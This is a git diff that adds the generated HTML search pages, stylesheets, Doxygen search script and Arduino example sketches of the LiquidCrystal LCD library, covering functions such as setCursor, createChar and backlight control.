+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_63.html b/libraries/LiquidCrystal/docs/html/search/functions_63.html new file mode 100644 index 0000000..118cc32 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_63.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ clear + LCD +
+
+
+
+ createChar + LCD +
+
+
+
+ cursor + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_64.html b/libraries/LiquidCrystal/docs/html/search/functions_64.html new file mode 100644 index 0000000..ba77ba3 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_64.html @@ -0,0 +1,38 @@ + + + + + + + +
+
Loading...
+
+
+ digitalRead + I2CIO +
+
+
+
+ digitalWrite + I2CIO +
+
+
+
+ display + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_65.html b/libraries/LiquidCrystal/docs/html/search/functions_65.html new file mode 100644 index 0000000..86ec5ea --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_65.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ expanderWrite + LiquidCrystal_I2C +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_66.html b/libraries/LiquidCrystal/docs/html/search/functions_66.html new file mode 100644 index 0000000..8cdaa77 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_66.html @@ -0,0 +1,98 @@ + + + + + + + +
+
Loading...
+ + + + + + + + +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_68.html b/libraries/LiquidCrystal/docs/html/search/functions_68.html new file mode 100644 index 0000000..15aec73 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_68.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ home + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_69.html b/libraries/LiquidCrystal/docs/html/search/functions_69.html new file mode 100644 index 0000000..dc3dc28 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_69.html @@ -0,0 +1,26 @@ + + + + + + + +
+
Loading...
+
+
+ I2CIO + I2CIO +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_6c.html b/libraries/LiquidCrystal/docs/html/search/functions_6c.html new file mode 100644 index 0000000..1de9e5b --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_6c.html @@ -0,0 +1,83 @@ + + + + + + + +
+
Loading...
+
+
+ LCD + LCD +
+
+
+
+ leftToRight + LCD +
+
+ + +
+
+ LiquidCrystal_SR + LiquidCrystal_SR +
+
+
+
+ LiquidCrystal_SR2W + LiquidCrystal_SR2W +
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_6d.html b/libraries/LiquidCrystal/docs/html/search/functions_6d.html new file mode 100644 index 0000000..6a0ea3f --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_6d.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ moveCursorLeft + LCD +
+
+
+
+ moveCursorRight + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_6e.html b/libraries/LiquidCrystal/docs/html/search/functions_6e.html new file mode 100644 index 0000000..02acfb2 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_6e.html @@ -0,0 +1,50 @@ + + + + + + + +
+
Loading...
+
+
+ noAutoscroll + LCD +
+
+
+
+ noBacklight + LCD +
+
+ +
+
+ noCursor + LCD +
+
+
+
+ noDisplay + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_6f.html b/libraries/LiquidCrystal/docs/html/search/functions_6f.html new file mode 100644 index 0000000..e5e659c --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_6f.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ off + LCD +
+
+
+
+ on + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_70.html b/libraries/LiquidCrystal/docs/html/search/functions_70.html new file mode 100644 index 0000000..16e8ed0 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_70.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ pinMode + I2CIO +
+
+
+
+ portMode + I2CIO +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_72.html b/libraries/LiquidCrystal/docs/html/search/functions_72.html new file mode 100644 index 0000000..31d4b8e --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_72.html @@ -0,0 +1,32 @@ + + + + + + + +
+
Loading...
+
+
+ read + I2CIO +
+
+
+
+ rightToLeft + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_73.html b/libraries/LiquidCrystal/docs/html/search/functions_73.html new file mode 100644 index 0000000..8bf5e07 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_73.html @@ -0,0 +1,75 @@ + + + + + + + +
+
Loading...
+
+
+ scrollDisplayLeft + LCD +
+
+
+
+ scrollDisplayRight + LCD +
+
+ + + +
+
+ setCursor + LCD +
+
+
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/functions_77.html b/libraries/LiquidCrystal/docs/html/search/functions_77.html new file mode 100644 index 0000000..d81a974 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/functions_77.html @@ -0,0 +1,35 @@ + + + + + + + +
+
Loading...
+
+
+ waitUsec + LCD.h +
+
+ +
Searching...
+
No Matches
+ +
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/mag_sel.png b/libraries/LiquidCrystal/docs/html/search/mag_sel.png new file mode 100644 index 0000000000000000000000000000000000000000..81f6040a2092402b4d98f9ffa8855d12a0d4ca17 GIT binary patch literal 563 zcmV-30?hr1P)zxx&tqG15pu7)IiiXFflOc2k;dXd>%13GZAy? zRz!q0=|E6a6vV)&ZBS~G9oe0kbqyw1*gvY`{Pop2oKq#FlzgXt@Xh-7fxh>}`Fxg> z$%N%{$!4=5nM{(;=c!aG1Ofr^Do{u%Ih{^&Fc@H2)+a-?TBXrw5DW&z%Nb6mQ!L9O zl}b@6mB?f=tX3;#vl)}ggh(Vpyh(IK z(Mb0D{l{U$FsRjP;!{($+bsaaVi8T#1c0V#qEIOCYa9@UVLV`f__E81L;?WEaRA;Y zUH;rZ;vb;mk7JX|$=i3O~&If0O@oZfLg8gfIjW=dcBsz;gI=!{-r4# z4%6v$&~;q^j7Fo67yJ(NJWuX+I~I!tj^nW3?}^9bq|<3^+vapS5sgM^x7!cs(+mMT z&y%j};&~po+YO)3hoUH4E*E;e9>?R6SS&`X)p`njycAVcg{rEb41T{~Hk(bl-7eSb zmFxA2uIqo#@R?lKm50ND`~6Nfn|-b1|L6O98vt3Tx@gKz#isxO002ovPDHLkV1kyW B_l^Jn literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/search/nomatches.html b/libraries/LiquidCrystal/docs/html/search/nomatches.html new file mode 100644 index 0000000..b1ded27 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/nomatches.html @@ -0,0 +1,12 @@ + + + + + + + +
+
No Matches
+
+ + diff --git a/libraries/LiquidCrystal/docs/html/search/search.css b/libraries/LiquidCrystal/docs/html/search/search.css new file mode 100644 index 0000000..50249e5 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/search.css @@ -0,0 +1,240 @@ +/*---------------- Search Box */ + +#FSearchBox { + float: left; +} + +#searchli { + float: right; + display: block; + width: 170px; + height: 36px; +} + +#MSearchBox { + white-space : nowrap; + position: absolute; + float: none; + display: inline; + margin-top: 8px; + right: 0px; + width: 170px; + z-index: 102; +} + +#MSearchBox .left +{ + display:block; + position:absolute; + left:10px; + width:20px; + height:19px; + background:url('search_l.png') no-repeat; + background-position:right; +} + +#MSearchSelect { + display:block; + position:absolute; + width:20px; + height:19px; +} + +.left #MSearchSelect { + left:4px; +} + +.right #MSearchSelect { + right:5px; +} + +#MSearchField { + display:block; + position:absolute; + height:19px; + background:url('search_m.png') repeat-x; + border:none; + width:116px; + margin-left:20px; + padding-left:4px; + color: #909090; + outline: none; + font: 9pt Arial, Verdana, sans-serif; +} + +#FSearchBox #MSearchField { + margin-left:15px; +} + +#MSearchBox .right { + display:block; + position:absolute; + right:10px; + top:0px; + width:20px; + height:19px; + background:url('search_r.png') no-repeat; + background-position:left; +} + +#MSearchClose { + display: none; + position: absolute; + top: 4px; + background : none; + border: none; + margin: 0px 4px 0px 0px; + padding: 0px 0px; + outline: none; +} + +.left #MSearchClose { + left: 6px; +} + +.right #MSearchClose { + right: 2px; +} + +.MSearchBoxActive #MSearchField { + color: #000000; +} + +/*---------------- Search filter selection */ + +#MSearchSelectWindow { + display: none; + position: absolute; + left: 0; top: 0; + border: 1px solid #90A5CE; + background-color: #F9FAFC; + z-index: 1; + padding-top: 4px; + padding-bottom: 4px; + -moz-border-radius: 4px; + -webkit-border-top-left-radius: 4px; + -webkit-border-top-right-radius: 4px; + -webkit-border-bottom-left-radius: 4px; + -webkit-border-bottom-right-radius: 4px; + -webkit-box-shadow: 5px 5px 5px rgba(0, 0, 0, 0.15); +} + +.SelectItem { + font: 8pt Arial, Verdana, sans-serif; + padding-left: 2px; + padding-right: 12px; + border: 0px; +} + +span.SelectionMark { + margin-right: 4px; + font-family: monospace; + outline-style: none; + text-decoration: none; +} + +a.SelectItem { + display: block; + outline-style: none; + color: #000000; + text-decoration: none; + padding-left: 6px; + padding-right: 12px; +} + +a.SelectItem:focus, +a.SelectItem:active { + color: #000000; + outline-style: none; + text-decoration: none; +} + +a.SelectItem:hover { + color: #FFFFFF; + background-color: #3D578C; + outline-style: none; + text-decoration: none; + cursor: pointer; + display: block; +} + +/*---------------- Search results window */ + +iframe#MSearchResults { + width: 60ex; + height: 15em; +} + +#MSearchResultsWindow { + display: none; + position: absolute; + left: 0; top: 0; + border: 1px solid #000; + background-color: #EEF1F7; +} + +/* ----------------------------------- */ + + +#SRIndex { + clear:both; + padding-bottom: 15px; +} + +.SREntry { + font-size: 10pt; + padding-left: 1ex; +} + +.SRPage .SREntry { + font-size: 8pt; + padding: 1px 5px; +} + +body.SRPage { + margin: 5px 2px; +} + +.SRChildren { + padding-left: 3ex; padding-bottom: .5em +} + +.SRPage .SRChildren { + display: none; +} + +.SRSymbol { + font-weight: bold; + color: #425E97; + font-family: Arial, Verdana, sans-serif; + text-decoration: none; + outline: none; +} + +a.SRScope { + display: block; + color: #425E97; + font-family: Arial, Verdana, sans-serif; + text-decoration: none; + outline: none; +} + +a.SRSymbol:focus, a.SRSymbol:active, +a.SRScope:focus, a.SRScope:active { + text-decoration: underline; +} + +.SRPage .SRStatus { + padding: 2px 5px; + font-size: 8pt; + font-style: italic; +} + +.SRResult { + display: none; +} + +DIV.searchresults { + margin-left: 10px; + margin-right: 10px; +} diff --git a/libraries/LiquidCrystal/docs/html/search/search.js b/libraries/LiquidCrystal/docs/html/search/search.js new file mode 100644 index 0000000..1b2829a --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/search.js @@ -0,0 +1,742 @@ +// Search script generated by doxygen +// Copyright (C) 2009 by Dimitri van Heesch. + +// The code in this file is loosly based on main.js, part of Natural Docs, +// which is Copyright (C) 2003-2008 Greg Valure +// Natural Docs is licensed under the GPL. + +var indexSectionsWithContent = +{ + 0: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010111111011001111101110010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 1: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 2: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 3: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000111101011001111101100010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 4: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 5: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 6: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 7: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + 8: "0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010111111010001000001110000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" +}; + +var indexSectionNames = +{ + 0: "all", + 1: "classes", + 2: "files", + 3: "functions", + 4: "variables", + 5: "typedefs", + 6: "enums", + 7: "enumvalues", + 8: "defines" +}; + +function convertToId(search) +{ + var result = ''; + for (i=0;i do a search + { + this.Search(); + } + } + + this.OnSearchSelectKey = function(evt) + { + var e = (evt) ? evt : window.event; // for IE + if (e.keyCode==40 && this.searchIndex0) // Up + { + this.searchIndex--; + this.OnSelectItem(this.searchIndex); + } + else if (e.keyCode==13 || e.keyCode==27) + { + this.OnSelectItem(this.searchIndex); + this.CloseSelectionWindow(); + this.DOMSearchField().focus(); + } + return false; + } + + // --------- Actions + + // Closes the results window. + this.CloseResultsWindow = function() + { + this.DOMPopupSearchResultsWindow().style.display = 'none'; + this.DOMSearchClose().style.display = 'none'; + this.Activate(false); + } + + this.CloseSelectionWindow = function() + { + this.DOMSearchSelectWindow().style.display = 'none'; + } + + // Performs a search. + this.Search = function() + { + this.keyTimeout = 0; + + // strip leading whitespace + var searchValue = this.DOMSearchField().value.replace(/^ +/, ""); + + var code = searchValue.toLowerCase().charCodeAt(0); + var hexCode; + if (code<16) + { + hexCode="0"+code.toString(16); + } + else + { + hexCode=code.toString(16); + } + + var resultsPage; + var resultsPageWithSearch; + var hasResultsPage; + + if (indexSectionsWithContent[this.searchIndex].charAt(code) == '1') + { + resultsPage = this.resultsPath + '/' + indexSectionNames[this.searchIndex] + '_' + hexCode + '.html'; + resultsPageWithSearch = resultsPage+'?'+escape(searchValue); + hasResultsPage = true; + } + else // nothing available for this search term + { + resultsPage = this.resultsPath + '/nomatches.html'; + resultsPageWithSearch = resultsPage; + hasResultsPage = false; + } + + window.frames.MSearchResults.location.href = resultsPageWithSearch; + var domPopupSearchResultsWindow = this.DOMPopupSearchResultsWindow(); + + if (domPopupSearchResultsWindow.style.display!='block') + { + var domSearchBox = this.DOMSearchBox(); + this.DOMSearchClose().style.display = 'inline'; + if (this.insideFrame) + { + var domPopupSearchResults = this.DOMPopupSearchResults(); + domPopupSearchResultsWindow.style.position = 'relative'; + domPopupSearchResultsWindow.style.display = 'block'; + var width = document.body.clientWidth - 8; // the -8 is for IE :-( + domPopupSearchResultsWindow.style.width = width + 'px'; + domPopupSearchResults.style.width = width + 'px'; + } + else + { + var domPopupSearchResults = this.DOMPopupSearchResults(); + var left = getXPos(domSearchBox) + 150; // domSearchBox.offsetWidth; + var top = getYPos(domSearchBox) + 20; // domSearchBox.offsetHeight + 1; + domPopupSearchResultsWindow.style.display = 'block'; + left -= domPopupSearchResults.offsetWidth; + domPopupSearchResultsWindow.style.top = top + 'px'; + domPopupSearchResultsWindow.style.left = left + 'px'; + } + } + + this.lastSearchValue = searchValue; + this.lastResultsPage = resultsPage; + } + + // -------- Activation Functions + + // Activates or deactivates the search panel, resetting things to + // their default values if necessary. + this.Activate = function(isActive) + { + if (isActive || // open it + this.DOMPopupSearchResultsWindow().style.display == 'block' + ) + { + this.DOMSearchBox().className = 'MSearchBoxActive'; + + var searchField = this.DOMSearchField(); + + if (searchField.value == this.searchLabel) // clear "Search" term upon entry + { + searchField.value = ''; + this.searchActive = true; + } + } + else if (!isActive) // directly remove the panel + { + this.DOMSearchBox().className = 'MSearchBoxInactive'; + this.DOMSearchField().value = this.searchLabel; + this.searchActive = false; + this.lastSearchValue = '' + this.lastResultsPage = ''; + } + } +} + +// ----------------------------------------------------------------------- + +// The class that handles everything on the search results page. +function SearchResults(name) +{ + // The number of matches from the last run of . + this.lastMatchCount = 0; + this.lastKey = 0; + this.repeatOn = false; + + // Toggles the visibility of the passed element ID. + this.FindChildElement = function(id) + { + var parentElement = document.getElementById(id); + var element = parentElement.firstChild; + + while (element && element!=parentElement) + { + if (element.nodeName == 'DIV' && element.className == 'SRChildren') + { + return element; + } + + if (element.nodeName == 'DIV' && element.hasChildNodes()) + { + element = element.firstChild; + } + else if (element.nextSibling) + { + element = element.nextSibling; + } + else + { + do + { + element = element.parentNode; + } + while (element && element!=parentElement && !element.nextSibling); + + if (element && element!=parentElement) + { + element = element.nextSibling; + } + } + } + } + + this.Toggle = function(id) + { + var element = this.FindChildElement(id); + if (element) + { + if (element.style.display == 'block') + { + element.style.display = 'none'; + } + else + { + element.style.display = 'block'; + } + } + } + + // Searches for the passed string. If there is no parameter, + // it takes it from the URL query. + // + // Always returns true, since other documents may try to call it + // and that may or may not be possible. + this.Search = function(search) + { + if (!search) // get search word from URL + { + search = window.location.search; + search = search.substring(1); // Remove the leading '?' + search = unescape(search); + } + + search = search.replace(/^ +/, ""); // strip leading spaces + search = search.replace(/ +$/, ""); // strip trailing spaces + search = search.toLowerCase(); + search = convertToId(search); + + var resultRows = document.getElementsByTagName("div"); + var matches = 0; + + var i = 0; + while (i < resultRows.length) + { + var row = resultRows.item(i); + if (row.className == "SRResult") + { + var rowMatchName = row.id.toLowerCase(); + rowMatchName = rowMatchName.replace(/^sr\d*_/, ''); // strip 'sr123_' + + if (search.length<=rowMatchName.length && + rowMatchName.substr(0, search.length)==search) + { + row.style.display = 'block'; + matches++; + } + else + { + row.style.display = 'none'; + } + } + i++; + } + document.getElementById("Searching").style.display='none'; + if (matches == 0) // no results + { + document.getElementById("NoMatches").style.display='block'; + } + else // at least one result + { + document.getElementById("NoMatches").style.display='none'; + } + this.lastMatchCount = matches; + return true; + } + + // return the first item with index index or higher that is visible + this.NavNext = function(index) + { + var focusItem; + while (1) + { + var focusName = 'Item'+index; + focusItem = document.getElementById(focusName); + if (focusItem && focusItem.parentNode.parentNode.style.display=='block') + { + break; + } + else if (!focusItem) // last element + { + break; + } + focusItem=null; + index++; + } + return focusItem; + } + + this.NavPrev = function(index) + { + var focusItem; + while (1) + { + var focusName = 'Item'+index; + focusItem = document.getElementById(focusName); + if (focusItem && focusItem.parentNode.parentNode.style.display=='block') + { + break; + } + else if (!focusItem) // last element + { + break; + } + focusItem=null; + index--; + } + return focusItem; + } + + this.ProcessKeys = function(e) + { + if (e.type == "keydown") + { + this.repeatOn = false; + this.lastKey = e.keyCode; + } + else if (e.type == "keypress") + { + if (!this.repeatOn) + { + if (this.lastKey) this.repeatOn = true; + return false; // ignore first keypress after keydown + } + } + else if (e.type == "keyup") + { + this.lastKey = 0; + this.repeatOn = false; + } + return this.lastKey!=0; + } + + this.Nav = function(evt,itemIndex) + { + var e = (evt) ? evt : window.event; // for IE + if (e.keyCode==13) return true; + if (!this.ProcessKeys(e)) return false; + + if (this.lastKey==38) // Up + { + var newIndex = itemIndex-1; + var focusItem = this.NavPrev(newIndex); + if (focusItem) + { + var child = this.FindChildElement(focusItem.parentNode.parentNode.id); + if (child && child.style.display == 'block') // children visible + { + var n=0; + var tmpElem; + while (1) // search for last child + { + tmpElem = document.getElementById('Item'+newIndex+'_c'+n); + if (tmpElem) + { + focusItem = tmpElem; + } + else // found it! + { + break; + } + n++; + } + } + } + if (focusItem) + { + focusItem.focus(); + } + else // return focus to search field + { + parent.document.getElementById("MSearchField").focus(); + } + } + else if (this.lastKey==40) // Down + { + var newIndex = itemIndex+1; + var focusItem; + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem && elem.style.display == 'block') // children visible + { + focusItem = document.getElementById('Item'+itemIndex+'_c0'); + } + if (!focusItem) focusItem = this.NavNext(newIndex); + if (focusItem) focusItem.focus(); + } + else if (this.lastKey==39) // Right + { + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem) elem.style.display = 'block'; + } + else if (this.lastKey==37) // Left + { + var item = document.getElementById('Item'+itemIndex); + var elem = this.FindChildElement(item.parentNode.parentNode.id); + if (elem) elem.style.display = 'none'; + } + else if (this.lastKey==27) // Escape + { + parent.searchBox.CloseResultsWindow(); + parent.document.getElementById("MSearchField").focus(); + } + else if (this.lastKey==13) // Enter + { + return true; + } + return false; + } + + this.NavChild = function(evt,itemIndex,childIndex) + { + var e = (evt) ? evt : window.event; // for IE + if (e.keyCode==13) return true; + if (!this.ProcessKeys(e)) return false; + + if (this.lastKey==38) // Up + { + if (childIndex>0) + { + var newIndex = childIndex-1; + document.getElementById('Item'+itemIndex+'_c'+newIndex).focus(); + } + else // already at first child, jump to parent + { + document.getElementById('Item'+itemIndex).focus(); + } + } + else if (this.lastKey==40) // Down + { + var newIndex = childIndex+1; + var elem = document.getElementById('Item'+itemIndex+'_c'+newIndex); + if (!elem) // last child, jump to parent next parent + { + elem = this.NavNext(itemIndex+1); + } + if (elem) + { + elem.focus(); + } + } + else if (this.lastKey==27) // Escape + { + parent.searchBox.CloseResultsWindow(); + parent.document.getElementById("MSearchField").focus(); + } + else if (this.lastKey==13) // Enter + { + return true; + } + return false; + } +} diff --git a/libraries/LiquidCrystal/docs/html/search/search_l.png b/libraries/LiquidCrystal/docs/html/search/search_l.png new file mode 100644 index 0000000000000000000000000000000000000000..c872f4da4a01d0754f923e6c94fd8159c0621bd1 GIT binary patch literal 604 zcmV-i0;BzjP)k7RCwB~R6VQOP#AvB$vH7i{6H{96zot$7cZT<7246EF5Np6N}+$IbiG6W zg#87A+NFaX+=_^xM1#gCtshC=E{%9^uQX_%?YwXvo{#q&MnpJ8uh(O?ZRc&~_1%^SsPxG@rfElJg-?U zm!Cz-IOn(qJP3kDp-^~qt+FGbl=5jNli^Wj_xIBG{Rc0en{!oFvyoNC7{V~T8}b>| z=jL2WIReZzX(YN(_9fV;BBD$VXQIxNasAL8ATvEu822WQ%mvv4FO#qs` BFGc_W literal 0 HcmV?d00001 diff --git a/libraries/LiquidCrystal/docs/html/search/search_r.png b/libraries/LiquidCrystal/docs/html/search/search_r.png new file mode 100644 index 0000000000000000000000000000000000000000..97ee8b439687084201b79c6f776a41f495c6392a GIT binary patch literal 612 zcmV-q0-ODbP)PbXFRCwB?)W514K@j&X?z2*SxFI6-@HT2E2K=9X9%Pb zEK*!TBw&g(DMC;|A)uGlRkOS9vd-?zNs%bR4d$w+ox_iFnE8fvIvv7^5<(>Te12Li z7C)9srCzmK{ZcNM{YIl9j{DePFgOWiS%xG@5CnnnJa4nvY<^glbz7^|-ZY!dUkAwd z{gaTC@_>b5h~;ug#R0wRL0>o5!hxm*s0VW?8dr}O#zXTRTnrQm_Z7z1Mrnx>&p zD4qifUjzLvbVVWi?l?rUzwt^sdb~d!f_LEhsRVIXZtQ=qSxuxqm zEX#tf>$?M_Y1-LSDT)HqG?`%-%ZpY!#{N!rcNIiL;G7F0`l?)mNGTD9;f9F5Up3Kg zw}a<-JylhG&;=!>B+fZaCX+?C+kHYrP%c?X2!Zu_olK|GcS4A70HEy;vn)I0>0kLH z`jc(WIaaHc7!HS@f*^R^Znx8W=_jIl2oWJoQ*h1^$FX!>*PqR1J8k|fw}w_y}TpE>7m8DqDO<3z`OzXt$ccSejbEZCg@0000 + + + + + + +
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+ fio_bit + FastIO.h +
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+
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+ fio_register + FastIO.h +
+
+
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+ + diff --git a/libraries/LiquidCrystal/docs/html/search/variables_5f.html b/libraries/LiquidCrystal/docs/html/search/variables_5f.html new file mode 100644 index 0000000..0bac2f1 --- /dev/null +++ b/libraries/LiquidCrystal/docs/html/search/variables_5f.html @@ -0,0 +1,56 @@ + + + + + + + +
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+ _polarity + LCD +
+
+
Searching...
+
No Matches
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+ width: 100%; + z-index: 101; + font-size: 13px; +} + +.tabs2 { + font-size: 10px; +} +.tabs3 { + font-size: 9px; +} + +.tablist { + margin: 0; + padding: 0; + display: table; +} + +.tablist li { + float: left; + display: table-cell; + background-image: url('tab_b.png'); + line-height: 36px; + list-style: none; +} + +.tablist a { + display: block; + padding: 0 20px; + font-weight: bold; + background-image:url('tab_s.png'); + background-repeat:no-repeat; + background-position:right; + color: #283A5D; + text-shadow: 0px 1px 1px rgba(255, 255, 255, 0.9); + text-decoration: none; + outline: none; +} + +.tabs3 .tablist a { + padding: 0 10px; +} + +.tablist a:hover { + background-image: url('tab_h.png'); + background-repeat:repeat-x; + color: #fff; + text-shadow: 0px 1px 1px rgba(0, 0, 0, 1.0); + text-decoration: none; +} + +.tablist li.current a { + background-image: url('tab_a.png'); + background-repeat:repeat-x; + color: #fff; + text-shadow: 0px 1px 1px rgba(0, 0, 0, 1.0); +} diff --git a/libraries/LiquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde b/libraries/LiquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde new file mode 100644 index 0000000..0c06514 --- /dev/null +++ b/libraries/LiquidCrystal/examples/HelloWorld_4bit/HelloWorld_4bit.pde @@ -0,0 +1,78 @@ +#include +#include + + +#define CONTRAST_PIN 9 +#define BACKLIGHT_PIN 7 +#define CONTRAST 110 +LiquidCrystal lcd(12, 11, 5, 4, 3, 2, BACKLIGH_PIN, POSITIVE ); + + +// Creat a set of new characters +byte smiley[8] = { + 0b00000, + 0b00000, + 0b01010, + 0b00000, + 0b00000, + 0b10001, + 0b01110, + 0b00000 +}; + +byte armsUp[8] = { + 0b00100, + 0b01010, + 0b00100, + 0b10101, + 0b01110, + 0b00100, + 0b00100, + 0b01010 +}; + +byte frownie[8] = { + 0b00000, + 0b00000, + 0b01010, + 0b00000, + 0b00000, + 0b00000, + 0b01110, + 0b10001 +}; + +void setup() +{ + Serial.begin ( 57600 ); + + // Switch on the backlight and LCD contrast levels + pinMode(CONTRAST_PIN, OUTPUT); + analogWrite ( CONTRAST_PIN, CONTRAST ); + + //lcd.setBacklightPin ( BACKLIGHT_PIN, POSITIVE ); + //lcd.setBacklight ( HIGH ); + lcd.backlight(); + + lcd.begin(16,2); // initialize the lcd + + lcd.createChar (0, smiley); // load character to the LCD + lcd.createChar (1, armsUp); // load character to the LCD + lcd.createChar (2, frownie); // load character to the LCD + + lcd.home (); // go home + lcd.print("Hello, ARDUINO "); + lcd.setCursor ( 0, 1 ); // go to the next line + lcd.print (" FORUM - fm "); +} + +void loop() +{ + // Do a little animation by writing to the same location + lcd.setCursor ( 14, 1 ); + lcd.print (char(2)); + delay (200); + lcd.setCursor ( 14, 1 ); + lcd.print ( char(0)); + delay (200); +} diff --git a/libraries/LiquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde b/libraries/LiquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde new file mode 100644 index 0000000..1112e78 --- /dev/null +++ b/libraries/LiquidCrystal/examples/HelloWorld_SR/HelloWorld_SR.pde @@ -0,0 +1,36 @@ +#include +#include + +LiquidCrystal_SR lcd(8,7,TWO_WIRE); +// | | +// | \-- Clock Pin +// \---- Data/Enable Pin + +// Creat a set of new characters +byte armsUp[8] = {0b00100,0b01010,0b00100,0b10101,0b01110,0b00100,0b00100,0b01010}; +byte armsDown[8] = {0b00100,0b01010,0b00100,0b00100,0b01110,0b10101,0b00100,0b01010}; + +void setup(){ + + lcd.begin(16,2); // initialize the lcd + + lcd.createChar (0, armsUp); // load character to the LCD + lcd.createChar (1, armsDown); // load character to the LCD + + lcd.home (); // go home + lcd.print("LiquidCrystal_SR"); +} + +void loop(){ + // Do a little animation + for(int i = 0; i <= 15; i++) showHappyGuy(i); + for(int i = 15; i >= 0; i--) showHappyGuy(i); +} + +void showHappyGuy(int pos){ + lcd.setCursor ( pos, 1 ); // go to position + lcd.print(char(random(0,2))); // show one of the two custom characters + delay(150); // wait so it can be seen + lcd.setCursor ( pos, 1 ); // go to position again + lcd.print(" "); // delete character +} \ No newline at end of file diff --git a/libraries/LiquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde b/libraries/LiquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde new file mode 100644 index 0000000..d0fd78c --- /dev/null +++ b/libraries/LiquidCrystal/examples/HelloWorld_i2c/HelloWorld_i2c.pde @@ -0,0 +1,61 @@ +#include +#include + + + +#define BACKLIGHT_PIN 13 + +LiquidCrystal_I2C lcd(0x38); // Set the LCD I2C address + +//LiquidCrystal_I2C lcd(0x38, BACKLIGHT_PIN, POSITIVE); // Set the LCD I2C address + + +// Creat a set of new characters +const uint8_t charBitmap[][8] = { + { 0xc, 0x12, 0x12, 0xc, 0, 0, 0, 0 }, + { 0x6, 0x9, 0x9, 0x6, 0, 0, 0, 0 }, + { 0x0, 0x6, 0x9, 0x9, 0x6, 0, 0, 0x0 }, + { 0x0, 0xc, 